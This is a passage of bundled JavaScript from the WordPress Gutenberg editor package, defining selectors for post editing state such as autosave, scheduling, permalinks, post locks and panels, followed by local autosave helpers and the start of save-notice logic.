  if (blockName !== (0,external_wp_blocks_namespaceObject.getDefaultBlockName)() && blockName !== (0,external_wp_blocks_namespaceObject.getFreeformContentHandlerName)()) {
    return false;
  }
  return !getEditedPostContent(state);
});

/**
 * Returns true if the post can be autosaved, or false otherwise.
 *
 * @param {Object} state    Global application state.
 * @param {Object} autosave A raw autosave object from the REST API.
 *
 * @return {boolean} Whether the post can be autosaved.
 */
const isEditedPostAutosaveable = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  // A post must contain a title, an excerpt, or non-empty content to be valid for autosaving.
  if (!isEditedPostSaveable(state)) {
    return false;
  }

  // A post is not autosavable when there is a post autosave lock.
  if (isPostAutosavingLocked(state)) {
    return false;
  }
  const postType = getCurrentPostType(state);

  // Currently template autosaving is not supported.
  if (postType === 'wp_template') {
    return false;
  }
  const postId = getCurrentPostId(state);
  const hasFetchedAutosave = select(external_wp_coreData_namespaceObject.store).hasFetchedAutosaves(postType, postId);
  const currentUserId = select(external_wp_coreData_namespaceObject.store).getCurrentUser()?.id;

  // Disable reason - this line causes the side-effect of fetching the autosave
  // via a resolver, moving below the return would result in the autosave never
  // being fetched.
  // eslint-disable-next-line @wordpress/no-unused-vars-before-return
  const autosave = select(external_wp_coreData_namespaceObject.store).getAutosave(postType, postId, currentUserId);

  // If any existing autosaves have not yet been fetched, this function is
  // unable to determine if the post is autosaveable, so return false.
  if (!hasFetchedAutosave) {
    return false;
  }

  // If we don't already have an autosave, the post is autosaveable.
  if (!autosave) {
    return true;
  }

  // To avoid an expensive content serialization, use the content dirtiness
  // flag in place of content field comparison against the known autosave.
  // This is not strictly accurate, and relies on a tolerance toward autosave
  // request failures for unnecessary saves.
  if (hasChangedContent(state)) {
    return true;
  }

  // If title, excerpt, or meta have changed, the post is autosaveable.
  return ['title', 'excerpt', 'meta'].some(field => getPostRawValue(autosave[field]) !== getEditedPostAttribute(state, field));
});

/**
 * Return true if the post being edited is being scheduled. Preferring the
 * unsaved status values.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post has been published.
 */
function isEditedPostBeingScheduled(state) {
  const date = getEditedPostAttribute(state, 'date');
  // Offset the date by one minute (network latency).
  const checkedDate = new Date(Number((0,external_wp_date_namespaceObject.getDate)(date)) - ONE_MINUTE_IN_MS);
  return (0,external_wp_date_namespaceObject.isInTheFuture)(checkedDate);
}

/**
 * Returns whether the current post should be considered to have a "floating"
 * date (i.e. that it would publish "Immediately" rather than at a set time).
 *
 * Unlike in the PHP backend, the REST API returns a full date string for posts
 * where the 0000-00-00T00:00:00 placeholder is present in the database. To
 * infer that a post is set to publish "Immediately" we check whether the date
 * and modified date are the same.
 *
 * @param {Object} state Editor state.
 *
 * @return {boolean} Whether the edited post has a floating date value.
 */
function isEditedPostDateFloating(state) {
  const date = getEditedPostAttribute(state, 'date');
  const modified = getEditedPostAttribute(state, 'modified');

  // This should be the status of the persisted post
  // It shouldn't use the "edited" status otherwise it breaks the
  // inferred post data floating status
  // See https://github.com/WordPress/gutenberg/issues/28083.
  const status = getCurrentPost(state).status;
  if (status === 'draft' || status === 'auto-draft' || status === 'pending') {
    return date === modified || date === null;
  }
  return false;
}

/**
 * Returns true if the post is currently being deleted, or false otherwise.
 *
 * @param {Object} state Editor state.
 *
 * @return {boolean} Whether post is being deleted.
 */
function isDeletingPost(state) {
  return !!state.deleting.pending;
}

/**
 * Returns true if the post is currently being saved, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether post is being saved.
 */
function isSavingPost(state) {
  return !!state.saving.pending;
}

/**
 * Returns true if non-post entities are currently being saved, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether non-post entities are being saved.
 */
const isSavingNonPostEntityChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const entitiesBeingSaved = select(external_wp_coreData_namespaceObject.store).__experimentalGetEntitiesBeingSaved();
  const {
    type,
    id
  } = getCurrentPost(state);
  return entitiesBeingSaved.some(entityRecord => entityRecord.kind !== 'postType' || entityRecord.name !== type || entityRecord.key !== id);
});

/**
 * Returns true if a previous post save was attempted successfully, or false
 * otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post was saved successfully.
 */
const didPostSaveRequestSucceed = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const postType = getCurrentPostType(state);
  const postId = getCurrentPostId(state);
  return !select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError('postType', postType, postId);
});

/**
 * Returns true if a previous post save was attempted but failed, or false
 * otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post save failed.
 */
const didPostSaveRequestFail = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const postType = getCurrentPostType(state);
  const postId = getCurrentPostId(state);
  return !!select(external_wp_coreData_namespaceObject.store).getLastEntitySaveError('postType', postType, postId);
});

/**
 * Returns true if the post is autosaving, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post is autosaving.
 */
function isAutosavingPost(state) {
  return isSavingPost(state) && Boolean(state.saving.options?.isAutosave);
}

/**
 * Returns true if the post is being previewed, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the post is being previewed.
 */
function isPreviewingPost(state) {
  return isSavingPost(state) && Boolean(state.saving.options?.isPreview);
}

/**
 * Returns the post preview link
 *
 * @param {Object} state Global application state.
 *
 * @return {string | undefined} Preview Link.
 */
function getEditedPostPreviewLink(state) {
  if (state.saving.pending || isSavingPost(state)) {
    return;
  }
  let previewLink = getAutosaveAttribute(state, 'preview_link');
  // Fix for issue: https://github.com/WordPress/gutenberg/issues/33616
  // If the post is draft, ignore the preview link from the autosave record,
  // because the preview could be a stale autosave if the post was switched from
  // published to draft.
  // See: https://github.com/WordPress/gutenberg/pull/37952.
  if (!previewLink || 'draft' === getCurrentPost(state).status) {
    previewLink = getEditedPostAttribute(state, 'link');
    if (previewLink) {
      previewLink = (0,external_wp_url_namespaceObject.addQueryArgs)(previewLink, {
        preview: true
      });
    }
  }
  const featuredImageId = getEditedPostAttribute(state, 'featured_media');
  if (previewLink && featuredImageId) {
    return (0,external_wp_url_namespaceObject.addQueryArgs)(previewLink, {
      _thumbnail_id: featuredImageId
    });
  }
  return previewLink;
}

/**
 * Returns a suggested post format for the current post, inferred only if there
 * is a single block within the post and it is of a type known to match a
 * default post format. Returns null if the format cannot be determined.
 *
 * @return {?string} Suggested post format.
 */
const getSuggestedPostFormat = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  const blocks = select(external_wp_blockEditor_namespaceObject.store).getBlocks();
  if (blocks.length > 2) {
    return null;
  }
  let name;
  // If there is only one block in the content of the post grab its name
  // so we can derive a suitable post format from it.
  if (blocks.length === 1) {
    name = blocks[0].name;
    // Check for core/embed `video` and `audio` eligible suggestions.
    if (name === 'core/embed') {
      const provider = blocks[0].attributes?.providerNameSlug;
      if (['youtube', 'vimeo'].includes(provider)) {
        name = 'core/video';
      } else if (['spotify', 'soundcloud'].includes(provider)) {
        name = 'core/audio';
      }
    }
  }

  // If there are two blocks in the content and the last one is a text blocks
  // grab the name of the first one to also suggest a post format from it.
  if (blocks.length === 2 && blocks[1].name === 'core/paragraph') {
    name = blocks[0].name;
  }

  // We only convert to default post formats in core.
  switch (name) {
    case 'core/image':
      return 'image';
    case 'core/quote':
    case 'core/pullquote':
      return 'quote';
    case 'core/gallery':
      return 'gallery';
    case 'core/video':
      return 'video';
    case 'core/audio':
      return 'audio';
    default:
      return null;
  }
});

/**
 * Returns the content of the post being edited.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Post content.
 */
const getEditedPostContent = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const postId = getCurrentPostId(state);
  const postType = getCurrentPostType(state);
  const record = select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', postType, postId);
  if (record) {
    if (typeof record.content === 'function') {
      return record.content(record);
    } else if (record.blocks) {
      return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(record.blocks);
    } else if (record.content) {
      return record.content;
    }
  }
  return '';
});

/**
 * Returns true if the post is being published, or false otherwise.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether post is being published.
 */
function isPublishingPost(state) {
  return isSavingPost(state) && !isCurrentPostPublished(state) && getEditedPostAttribute(state, 'status') === 'publish';
}

/**
 * Returns whether the permalink is editable or not.
 *
 * @param {Object} state Editor state.
 *
 * @return {boolean} Whether or not the permalink is editable.
 */
function isPermalinkEditable(state) {
  const permalinkTemplate = getEditedPostAttribute(state, 'permalink_template');
  return PERMALINK_POSTNAME_REGEX.test(permalinkTemplate);
}

/**
 * Returns the permalink for the post.
 *
 * @param {Object} state Editor state.
 *
 * @return {?string} The permalink, or null if the post is not viewable.
 */
function getPermalink(state) {
  const permalinkParts = getPermalinkParts(state);
  if (!permalinkParts) {
    return null;
  }
  const {
    prefix,
    postName,
    suffix
  } = permalinkParts;
  if (isPermalinkEditable(state)) {
    return prefix + postName + suffix;
  }
  return prefix;
}

/**
 * Returns the slug for the post being edited, preferring a manually edited
 * value if one exists, then a sanitized version of the current post title, and
 * finally the post ID.
 *
 * @param {Object} state Editor state.
 *
 * @return {string} The current slug to be displayed in the editor
 */
function getEditedPostSlug(state) {
  return getEditedPostAttribute(state, 'slug') || (0,external_wp_url_namespaceObject.cleanForSlug)(getEditedPostAttribute(state, 'title')) || getCurrentPostId(state);
}

/**
 * Returns the permalink for a post, split into its three parts: the prefix,
 * the postName, and the suffix.
 *
 * @param {Object} state Editor state.
 *
 * @return {Object} An object containing the prefix, postName, and suffix for
 *                  the permalink, or null if the post is not viewable.
 */
function getPermalinkParts(state) {
  const permalinkTemplate = getEditedPostAttribute(state, 'permalink_template');
  if (!permalinkTemplate) {
    return null;
  }
  const postName = getEditedPostAttribute(state, 'slug') || getEditedPostAttribute(state, 'generated_slug');
  const [prefix, suffix] = permalinkTemplate.split(PERMALINK_POSTNAME_REGEX);
  return {
    prefix,
    postName,
    suffix
  };
}

/**
 * Returns whether the post is locked.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Is locked.
 */
function isPostLocked(state) {
  return state.postLock.isLocked;
}

/**
 * Returns whether post saving is locked.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Is locked.
 */
function isPostSavingLocked(state) {
  return Object.keys(state.postSavingLock).length > 0;
}

/**
 * Returns whether post autosaving is locked.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Is locked.
 */
function isPostAutosavingLocked(state) {
  return Object.keys(state.postAutosavingLock).length > 0;
}

/**
 * Returns whether the edition of the post has been taken over.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Is post lock takeover.
 */
function isPostLockTakeover(state) {
  return state.postLock.isTakeover;
}

/**
 * Returns details about the post lock user.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} A user object.
 */
function getPostLockUser(state) {
  return state.postLock.user;
}

/**
 * Returns the active post lock.
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} The lock object.
 */
function getActivePostLock(state) {
  return state.postLock.activePostLock;
}

/**
 * Returns whether or not the user has the unfiltered_html capability.
 *
 * @param {Object} state Editor state.
 *
 * @return {boolean} Whether the user can or can't post unfiltered HTML.
 */
function canUserUseUnfilteredHTML(state) {
  return Boolean(getCurrentPost(state)._links?.hasOwnProperty('wp:action-unfiltered-html'));
}

/**
 * Returns whether the pre-publish panel should be shown
 * or skipped when the user clicks the "publish" button.
 *
 * @return {boolean} Whether the pre-publish panel should be shown or not.
 */
const isPublishSidebarEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => !!select(external_wp_preferences_namespaceObject.store).get('core', 'isPublishSidebarEnabled'));

/**
 * Return the current block list.
 *
 * @param {Object} state
 * @return {Array} Block list.
 */
const getEditorBlocks = (0,external_wp_data_namespaceObject.createSelector)(state => {
  return getEditedPostAttribute(state, 'blocks') || (0,external_wp_blocks_namespaceObject.parse)(getEditedPostContent(state));
}, state => [getEditedPostAttribute(state, 'blocks'), getEditedPostContent(state)]);

/**
 * Returns true if the given panel was programmatically removed, or false otherwise.
 * All panels are not removed by default.
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is removed.
 */
function isEditorPanelRemoved(state, panelName) {
  return state.removedPanels.includes(panelName);
}

/**
 * Returns true if the given panel is enabled, or false otherwise. Panels are
 * enabled by default.
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is enabled.
 */
const isEditorPanelEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, panelName) => {
  // For backward compatibility, we check edit-post
  // even though now this is in "editor" package.
  const inactivePanels = select(external_wp_preferences_namespaceObject.store).get('core', 'inactivePanels');
  return !isEditorPanelRemoved(state, panelName) && !inactivePanels?.includes(panelName);
});

/**
 * Returns true if the given panel is open, or false otherwise. Panels are
 * closed by default.
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is open.
 */
const isEditorPanelOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, panelName) => {
  // For backward compatibility, we check edit-post
  // even though now this is in "editor" package.
  const openPanels = select(external_wp_preferences_namespaceObject.store).get('core', 'openPanels');
  return !!openPanels?.includes(panelName);
});

/**
 * A block selection object.
 *
 * @typedef {Object} WPBlockSelection
 *
 * @property {string} clientId     A block client ID.
 * @property {string} attributeKey A block attribute key.
 * @property {number} offset       An attribute value offset, based on the rich
 *                                 text value. See `wp.richText.create`.
 */

/**
 * Returns the current selection start.
 *
 * @deprecated since Gutenberg 10.0.0.
 *
 * @param {Object} state
 * @return {WPBlockSelection} The selection start.
 */
function getEditorSelectionStart(state) {
  external_wp_deprecated_default()("select('core/editor').getEditorSelectionStart", {
    since: '5.8',
    alternative: "select('core/editor').getEditorSelection"
  });
  return getEditedPostAttribute(state, 'selection')?.selectionStart;
}

/**
 * Returns the current selection end.
 *
 * @deprecated since Gutenberg 10.0.0.
 *
 * @param {Object} state
 * @return {WPBlockSelection} The selection end.
 */
function getEditorSelectionEnd(state) {
  external_wp_deprecated_default()("select('core/editor').getEditorSelectionStart", {
    since: '5.8',
    alternative: "select('core/editor').getEditorSelection"
  });
  return getEditedPostAttribute(state, 'selection')?.selectionEnd;
}

/**
 * Returns the current selection.
 *
 * @param {Object} state
 * @return {WPBlockSelection} The selection end.
 */
function getEditorSelection(state) {
  return getEditedPostAttribute(state, 'selection');
}

/**
 * Is the editor ready
 *
 * @param {Object} state
 * @return {boolean} is Ready.
 */
function __unstableIsEditorReady(state) {
  return !!state.postId;
}

/**
 * Returns the post editor settings.
 *
 * @param {Object} state Editor state.
 *
 * @return {Object} The editor settings object.
 */
function getEditorSettings(state) {
  return state.editorSettings;
}

/**
 * Returns the post editor's rendering mode.
 *
 * @param {Object} state Editor state.
 *
 * @return {string} Rendering mode.
 */
function getRenderingMode(state) {
  return state.renderingMode;
}

/**
 * Returns the current editing canvas device type.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Device type.
 */
const getDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const isZoomOut = unlock(select(external_wp_blockEditor_namespaceObject.store)).isZoomOut();
  if (isZoomOut) {
    return 'Desktop';
  }
  return state.deviceType;
});

/**
 * Returns true if the list view is opened.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the list view is opened.
 */
function isListViewOpened(state) {
  return state.listViewPanel;
}

/**
 * Returns true if the inserter is opened.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the inserter is opened.
 */
function isInserterOpened(state) {
  return !!state.blockInserterPanel;
}

/**
 * Returns the current editing mode.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Editing mode.
 */
const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  var _select$get;
  return (_select$get = select(external_wp_preferences_namespaceObject.store).get('core', 'editorMode')) !== null && _select$get !== void 0 ? _select$get : 'visual';
});

/*
 * Backward compatibility
 */

/**
 * Returns state object prior to a specified optimist transaction ID, or `null`
 * if the transaction corresponding to the given ID cannot be found.
 *
 * @deprecated since Gutenberg 9.7.0.
 */
function getStateBeforeOptimisticTransaction() {
  external_wp_deprecated_default()("select('core/editor').getStateBeforeOptimisticTransaction", {
    since: '5.7',
    hint: 'No state history is kept on this store anymore'
  });
  return null;
}
/**
 * Returns true if an optimistic transaction is pending commit, for which the
 * before state satisfies the given predicate function.
 *
 * @deprecated since Gutenberg 9.7.0.
 */
function inSomeHistory() {
  external_wp_deprecated_default()("select('core/editor').inSomeHistory", {
    since: '5.7',
    hint: 'No state history is kept on this store anymore'
  });
  return false;
}
function getBlockEditorSelector(name) {
  return (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, ...args) => {
    external_wp_deprecated_default()("`wp.data.select( 'core/editor' )." + name + '`', {
      since: '5.3',
      alternative: "`wp.data.select( 'core/block-editor' )." + name + '`',
      version: '6.2'
    });
    return select(external_wp_blockEditor_namespaceObject.store)[name](...args);
  });
}

/**
 * @see getBlockName in core/block-editor store.
 */
const getBlockName = getBlockEditorSelector('getBlockName');

/**
 * @see isBlockValid in core/block-editor store.
 */
const isBlockValid = getBlockEditorSelector('isBlockValid');

/**
 * @see getBlockAttributes in core/block-editor store.
 */
const getBlockAttributes = getBlockEditorSelector('getBlockAttributes');

/**
 * @see getBlock in core/block-editor store.
 */
const getBlock = getBlockEditorSelector('getBlock');

/**
 * @see getBlocks in core/block-editor store.
 */
const getBlocks = getBlockEditorSelector('getBlocks');

/**
 * @see getClientIdsOfDescendants in core/block-editor store.
 */
const getClientIdsOfDescendants = getBlockEditorSelector('getClientIdsOfDescendants');

/**
 * @see getClientIdsWithDescendants in core/block-editor store.
 */
const getClientIdsWithDescendants = getBlockEditorSelector('getClientIdsWithDescendants');

/**
 * @see getGlobalBlockCount in core/block-editor store.
 */
const getGlobalBlockCount = getBlockEditorSelector('getGlobalBlockCount');

/**
 * @see getBlocksByClientId in core/block-editor store.
 */
const getBlocksByClientId = getBlockEditorSelector('getBlocksByClientId');

/**
 * @see getBlockCount in core/block-editor store.
 */
const getBlockCount = getBlockEditorSelector('getBlockCount');

/**
 * @see getBlockSelectionStart in core/block-editor store.
 */
const getBlockSelectionStart = getBlockEditorSelector('getBlockSelectionStart');

/**
 * @see getBlockSelectionEnd in core/block-editor store.
 */
const getBlockSelectionEnd = getBlockEditorSelector('getBlockSelectionEnd');

/**
 * @see getSelectedBlockCount in core/block-editor store.
 */
const getSelectedBlockCount = getBlockEditorSelector('getSelectedBlockCount');

/**
 * @see hasSelectedBlock in core/block-editor store.
 */
const hasSelectedBlock = getBlockEditorSelector('hasSelectedBlock');

/**
 * @see getSelectedBlockClientId in core/block-editor store.
 */
const getSelectedBlockClientId = getBlockEditorSelector('getSelectedBlockClientId');

/**
 * @see getSelectedBlock in core/block-editor store.
 */
const getSelectedBlock = getBlockEditorSelector('getSelectedBlock');

/**
 * @see getBlockRootClientId in core/block-editor store.
 */
const getBlockRootClientId = getBlockEditorSelector('getBlockRootClientId');

/**
 * @see getBlockHierarchyRootClientId in core/block-editor store.
 */
const getBlockHierarchyRootClientId = getBlockEditorSelector('getBlockHierarchyRootClientId');

/**
 * @see getAdjacentBlockClientId in core/block-editor store.
 */
const getAdjacentBlockClientId = getBlockEditorSelector('getAdjacentBlockClientId');

/**
 * @see getPreviousBlockClientId in core/block-editor store.
 */
const getPreviousBlockClientId = getBlockEditorSelector('getPreviousBlockClientId');

/**
 * @see getNextBlockClientId in core/block-editor store.
 */
const getNextBlockClientId = getBlockEditorSelector('getNextBlockClientId');

/**
 * @see getSelectedBlocksInitialCaretPosition in core/block-editor store.
 */
const getSelectedBlocksInitialCaretPosition = getBlockEditorSelector('getSelectedBlocksInitialCaretPosition');

/**
 * @see getMultiSelectedBlockClientIds in core/block-editor store.
 */
const getMultiSelectedBlockClientIds = getBlockEditorSelector('getMultiSelectedBlockClientIds');

/**
 * @see getMultiSelectedBlocks in core/block-editor store.
 */
const getMultiSelectedBlocks = getBlockEditorSelector('getMultiSelectedBlocks');

/**
 * @see getFirstMultiSelectedBlockClientId in core/block-editor store.
 */
const getFirstMultiSelectedBlockClientId = getBlockEditorSelector('getFirstMultiSelectedBlockClientId');

/**
 * @see getLastMultiSelectedBlockClientId in core/block-editor store.
 */
const getLastMultiSelectedBlockClientId = getBlockEditorSelector('getLastMultiSelectedBlockClientId');

/**
 * @see isFirstMultiSelectedBlock in core/block-editor store.
 */
const isFirstMultiSelectedBlock = getBlockEditorSelector('isFirstMultiSelectedBlock');

/**
 * @see isBlockMultiSelected in core/block-editor store.
 */
const isBlockMultiSelected = getBlockEditorSelector('isBlockMultiSelected');

/**
 * @see isAncestorMultiSelected in core/block-editor store.
 */
const isAncestorMultiSelected = getBlockEditorSelector('isAncestorMultiSelected');

/**
 * @see getMultiSelectedBlocksStartClientId in core/block-editor store.
 */
const getMultiSelectedBlocksStartClientId = getBlockEditorSelector('getMultiSelectedBlocksStartClientId');

/**
 * @see getMultiSelectedBlocksEndClientId in core/block-editor store.
 */
const getMultiSelectedBlocksEndClientId = getBlockEditorSelector('getMultiSelectedBlocksEndClientId');

/**
 * @see getBlockOrder in core/block-editor store.
 */
const getBlockOrder = getBlockEditorSelector('getBlockOrder');

/**
 * @see getBlockIndex in core/block-editor store.
 */
const getBlockIndex = getBlockEditorSelector('getBlockIndex');

/**
 * @see isBlockSelected in core/block-editor store.
 */
const isBlockSelected = getBlockEditorSelector('isBlockSelected');

/**
 * @see hasSelectedInnerBlock in core/block-editor store.
 */
const hasSelectedInnerBlock = getBlockEditorSelector('hasSelectedInnerBlock');

/**
 * @see isBlockWithinSelection in core/block-editor store.
 */
const isBlockWithinSelection = getBlockEditorSelector('isBlockWithinSelection');

/**
 * @see hasMultiSelection in core/block-editor store.
 */
const hasMultiSelection = getBlockEditorSelector('hasMultiSelection');

/**
 * @see isMultiSelecting in core/block-editor store.
 */
const isMultiSelecting = getBlockEditorSelector('isMultiSelecting');

/**
 * @see isSelectionEnabled in core/block-editor store.
 */
const isSelectionEnabled = getBlockEditorSelector('isSelectionEnabled');

/**
 * @see getBlockMode in core/block-editor store.
 */
const getBlockMode = getBlockEditorSelector('getBlockMode');

/**
 * @see isTyping in core/block-editor store.
 */
const isTyping = getBlockEditorSelector('isTyping');

/**
 * @see isCaretWithinFormattedText in core/block-editor store.
 */
const isCaretWithinFormattedText = getBlockEditorSelector('isCaretWithinFormattedText');

/**
 * @see getBlockInsertionPoint in core/block-editor store.
 */
const getBlockInsertionPoint = getBlockEditorSelector('getBlockInsertionPoint');

/**
 * @see isBlockInsertionPointVisible in core/block-editor store.
 */
const isBlockInsertionPointVisible = getBlockEditorSelector('isBlockInsertionPointVisible');

/**
 * @see isValidTemplate in core/block-editor store.
 */
const isValidTemplate = getBlockEditorSelector('isValidTemplate');

/**
 * @see getTemplate in core/block-editor store.
 */
const getTemplate = getBlockEditorSelector('getTemplate');

/**
 * @see getTemplateLock in core/block-editor store.
 */
const getTemplateLock = getBlockEditorSelector('getTemplateLock');

/**
 * @see canInsertBlockType in core/block-editor store.
 */
const canInsertBlockType = getBlockEditorSelector('canInsertBlockType');

/**
 * @see getInserterItems in core/block-editor store.
 */
const getInserterItems = getBlockEditorSelector('getInserterItems');

/**
 * @see hasInserterItems in core/block-editor store.
 */
const hasInserterItems = getBlockEditorSelector('hasInserterItems');

/**
 * @see getBlockListSettings in core/block-editor store.
 */
const getBlockListSettings = getBlockEditorSelector('getBlockListSettings');
const __experimentalGetDefaultTemplateTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()("select('core/editor').__experimentalGetDefaultTemplateTypes", {
    since: '6.8',
    alternative: "select('core/core-data').getCurrentTheme()?.default_template_types"
  });
  return select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types;
});

/**
 * Returns the default template part areas.
 *
 * @param {Object} state Global application state.
 *
 * @return {Array} The template part areas.
 */
const __experimentalGetDefaultTemplatePartAreas = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(() => {
  external_wp_deprecated_default()("select('core/editor').__experimentalGetDefaultTemplatePartAreas", {
    since: '6.8',
    alternative: "select('core/core-data').getCurrentTheme()?.default_template_part_areas"
  });
  const areas = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [];
  return areas.map(item => {
    return {
      ...item,
      icon: getTemplatePartIcon(item.icon)
    };
  });
}));

/**
 * Returns a default template type searched by slug.
 *
 * @param {Object} state Global application state.
 * @param {string} slug  The template type slug.
 *
 * @return {Object} The template type.
 */
const __experimentalGetDefaultTemplateType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)((state, slug) => {
  var _Object$values$find;
  external_wp_deprecated_default()("select('core/editor').__experimentalGetDefaultTemplateType", {
    since: '6.8'
  });
  const templateTypes = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_types;
  if (!templateTypes) {
    return selectors_EMPTY_OBJECT;
  }
  return (_Object$values$find = Object.values(templateTypes).find(type => type.slug === slug)) !== null && _Object$values$find !== void 0 ? _Object$values$find : selectors_EMPTY_OBJECT;
}));

/**
 * Given a template entity, return information about it which is ready to be
 * rendered, such as the title, description, and icon.
 *
 * @param {Object} state    Global application state.
 * @param {Object} template The template for which we need information.
 * @return {Object} Information about the template, including title, description, and icon.
 */
const __experimentalGetTemplateInfo = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)((state, template) => {
  external_wp_deprecated_default()("select('core/editor').__experimentalGetTemplateInfo", {
    since: '6.8'
  });
  if (!template) {
    return selectors_EMPTY_OBJECT;
  }
  const currentTheme = select(external_wp_coreData_namespaceObject.store).getCurrentTheme();
  const templateTypes = currentTheme?.default_template_types || [];
  const templateAreas = currentTheme?.default_template_part_areas || [];
  return getTemplateInfo({
    template,
    templateAreas,
    templateTypes
  });
}));

/**
 * Returns a post type label depending on the current post.
 *
 * @param {Object} state Global application state.
 *
 * @return {string|undefined} The post type label if available, otherwise undefined.
 */
const getPostTypeLabel = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => state => {
  const currentPostType = getCurrentPostType(state);
  const postType = select(external_wp_coreData_namespaceObject.store).getPostType(currentPostType);
  // Disable reason: Post type labels object is shaped like this.
  // eslint-disable-next-line camelcase
  return postType?.labels?.singular_name;
});

/**
 * Returns true if the publish sidebar is opened.
 *
 * @param {Object} state Global application state
 *
 * @return {boolean} Whether the publish sidebar is open.
 */
function isPublishSidebarOpened(state) {
  return state.publishSidebarActive;
}

;// external ["wp","a11y"]
const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// ./node_modules/@wordpress/editor/build-module/store/local-autosave.js
/**
 * Function returning a sessionStorage key to set or retrieve a given post's
 * automatic session backup.
 *
 * Keys are crucially prefixed with 'wp-autosave-' so that wp-login.php's
 * `loggedout` handler can clear sessionStorage of any user-private content.
 *
 * @see https://github.com/WordPress/wordpress-develop/blob/6dad32d2aed47e6c0cf2aee8410645f6d7aba6bd/src/wp-login.php#L103
 *
 * @param {string}  postId    Post ID.
 * @param {boolean} isPostNew Whether post new.
 *
 * @return {string} sessionStorage key
 */
function postKey(postId, isPostNew) {
  return `wp-autosave-block-editor-post-${isPostNew ? 'auto-draft' : postId}`;
}
function localAutosaveGet(postId, isPostNew) {
  return window.sessionStorage.getItem(postKey(postId, isPostNew));
}
function localAutosaveSet(postId, isPostNew, title, content, excerpt) {
  window.sessionStorage.setItem(postKey(postId, isPostNew), JSON.stringify({
    post_title: title,
    content,
    excerpt
  }));
}
function localAutosaveClear(postId, isPostNew) {
  window.sessionStorage.removeItem(postKey(postId, isPostNew));
}

;// ./node_modules/@wordpress/editor/build-module/store/utils/notice-builder.js
/**
 * WordPress dependencies
 */


/**
 * Builds the arguments for a success notification dispatch.
 *
 * @param {Object} data Incoming data to build the arguments from.
 *
 * @return {Array} Arguments for dispatch. An empty array signals no
 *                 notification should be sent.
 */
function getNotificationArgumentsForSaveSuccess(data) {
  var _postType$viewable;
  const {
    previousPost,
    post,
    postType
  } = data;
  // Autosaves are neither shown a notice nor redirected.
  if (data.options?.isAutosave) {
    return [];
  }
  const publishStatus = ['publish', 'private', 'future'];
  const isPublished = publishStatus.includes(previousPost.status);
  const willPublish = publishStatus.includes(post.status);
  const willTrash = post.status === 'trash' && previousPost.status !== 'trash';
  let noticeMessage;
  let shouldShowLink = (_postType$viewable = postType?.viewable) !== null && _postType$viewable !== void 0 ? _postType$viewable : false;
  let isDraft;

  // Always should a notice, which will be spoken for accessibility.
  if (willTrash) {
    noticeMessage = postType.labels.item_trashed;
    shouldShowLink = false;
  } else if (!isPublished && !willPublish) {
    // If saving a non-published post, don't show notice.
    noticeMessage = (0,external_wp_i18n_namespaceObject.__)('Draft saved.');
    isDraft = true;
  } else if (isPublished && !willPublish) {
    // If undoing publish status, show specific notice.
    noticeMessage = postType.labels.item_reverted_to_draft;
    shouldShowLink = false;
